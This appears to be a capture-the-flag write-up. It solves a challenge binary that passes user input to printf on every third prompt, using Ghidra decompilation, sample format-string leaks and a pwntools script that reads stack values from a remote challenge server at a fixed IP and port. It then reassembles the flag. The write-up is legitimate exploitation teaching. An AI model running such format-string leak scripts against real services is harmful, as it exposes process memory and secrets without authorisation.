Skip to content
To fuzz or nor?
Flag format: ctf{sha256}
Goal: You have to connect to the service using telnet/netcat and find a way to recover the flag by abusing a common techniques used in the exploitation of binaries.
  • We receive the chall binary.

  • If we analyze it using ghidra, we have the following main function

void main(void)
{
int iVar1;
long lVar2;
undefined8 *puVar3;
long in_FS_OFFSET;
byte bVar4;
int local_178c;
char local_1788 [1008];
undefined8 local_1398;
undefined8 local_1390;
undefined8 local_1388;
undefined8 local_1380;
undefined8 local_1378;
undefined8 local_1370;
undefined8 local_1368;
undefined8 local_1360;
undefined8 local_1358;
undefined8 local_1350;
undefined8 local_1348;
undefined8 local_1340;
undefined8 local_1338;
undefined8 local_1330;
undefined8 local_1328;
undefined8 local_1320;
undefined8 local_1318;
undefined8 local_1310;
undefined8 local_1308 [607];
long local_10;
bVar4 = 0;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Good luck!");
local_1398 = 0x585858587b667463;
local_1390 = 0x5858585844414544;
local_1388 = 0x5858585844414544;
local_1380 = 0x5858585844414544;
local_1378 = 0x5858585844414544;
local_1370 = 0x5858585844414544;
local_1368 = 0x5858585844414544;
local_1360 = 0x5858585844414544;
local_1358 = 0x5858585844414544;
local_1350 = 0x5858585844414544;
local_1348 = 0x5858585844414544;
local_1340 = 0x5858585844414544;
local_1338 = 0x5858585844414544;
local_1330 = 0x5858585844414544;
local_1328 = 0x5858585844414544;
local_1320 = 0x5858585844414544;
local_1318 = 0x5858585844414544;
local_1310 = 0x585858587d;
puVar3 = local_1308;
for (lVar2 = 0x25f; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar3 = 0;
puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
}
for (local_178c = 1; local_178c < 10000; local_178c = local_178c + 1) {
if (local_178c == 3) {
puts("Do you have the control?");
__isoc99_scanf("%1023[^\n]",local_1788);
do {
iVar1 = getchar();
} while (iVar1 != 10);
printf(local_1788);
puts("It does not look like. You have the alt!");
}
else {
puts("Do you have the control?");
__isoc99_scanf("%1023[^\n]",local_1788);
do {
iVar1 = getchar();
} while (iVar1 != 10);
puts(local_1788);
puts("It does not look like. You have the alt!");
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
  • I’m already assuming the flag is in the local_1310 - local_1398 block of variables.

  • However, we see that each THIRD time the app is asking ‘Do you have control’, the variable local_1788 is printed using printf instead of puts, like the other occurences.

  • This can allow us to use arguments like %p or %s in a format strings attack.

Do you have the control?
%5$p
%5$p
It does not look like. You have the alt!
Do you have the control?
%5$p
%5$p
It does not look like. You have the alt!
Do you have the control?
%5$p
0x7f9e186e7a80
It does not look like. You have the alt!
Do you have the control?
  • Considering this leaking, we can iterate through the address space of the stack to reveal all the values stored.
from pwn import *
context.log_level = "CRITICAL"
def leak(offset, IP, PORT):
connection = remote(IP, PORT)
connection.recvuntil('Do you have the control?')
connection.sendline('')
connection.recvuntil('Do you have the control?')
connection.sendline('')
connection.recvuntil('Do you have the control?\r\n')
connection.sendline(' | %' + str(offset) + '$p | ')
response = connection.recvuntil('Do you have the control?')
connection.close()
return response.decode().split(' | ')[3]
for i in range (1000):
print(str(i) + " " + leak(i, "34.89.210.219", 30804))
  • In the output we found the following sequenece
133 (nil)
134 (nil)
135 (nil)
136 0x585858587b667463
137 0x5858585836646166
138 0x5858585830343335
139 0x5858585866303831
140 0x5858585863346236
141 0x5858585839346636
142 0x5858585831646164
143 0x5858585861643833
144 0x5858585834646565
145 0x5858585866633734
146 0x5858585839663332
147 0x5858585833363439
148 0x5858585831383435
149 0x5858585835323966
150 0x5858585830663135
151 0x5858585863626435
152 0x5858585830373036
153 0x585858587d
154 (nil)
  • Which is the same set of values we found in main functon.

  • I adjusted the python script above to automatically concatenate those hex values, transform to bytes and then as ASCII

# previous code ...
def get_flag():
flag_hex = ''
for i in range (153,135, -1):
flag_hex += str(leak(i, "34.89.210.219", 30804))
#print(str(i) + " " + leak(i, "34.89.210.219", 30804))
print(flag_hex)
flag_hex = flag_hex.replace("0x", "")
print("\n" + flag_hex)
flag_enc = bytearray.fromhex(flag_hex)
print("\n" + str(flag_enc))
flag = flag_enc[::-1].decode()
print("\n" + flag)
flag = flag.replace("X", "")
print("\n" + flag)
get_flag()

NOTE: First I iterated from 136 to 153 but I noticed that my flag was reversed. You can technically reverse the string at the end and get the same result ; However, I preferred to iterate the right way.

0x585858587d0x58585858303730360x58585858636264350x58585858306631350x58585858353239660x58585858313834350x58585858333634390x58585858396633320x58585858666337340x58585858346465650x58585858616438330x58585858316461640x58585858393466360x58585858633462360x58585858663038310x58585858303433350x58585858366461660x585858587b667463
585858587d5858585830373036585858586362643558585858306631355858585835323966585858583138343558585858333634395858585839663332585858586663373458585858346465655858585861643833585858583164616458585858393466365858585863346236585858586630383158585858303433355858585836646166585858587b667463
bytearray(b'XXXX}XXXX0706XXXXcbd5XXXX0f15XXXX529fXXXX1845XXXX3649XXXX9f32XXXXfc74XXXX4deeXXXXad83XXXX1dadXXXX94f6XXXXc4b6XXXXf081XXXX0435XXXX6dafXXXX{ftc')
ctf{XXXXfad6XXXX5340XXXX180fXXXX6b4cXXXX6f49XXXXdad1XXXX38daXXXXeed4XXXX47cfXXXX23f9XXXX9463XXXX5481XXXXf925XXXX51f0XXXX5dbcXXXX6070XXXX}XXXX
ctf{REDACTED}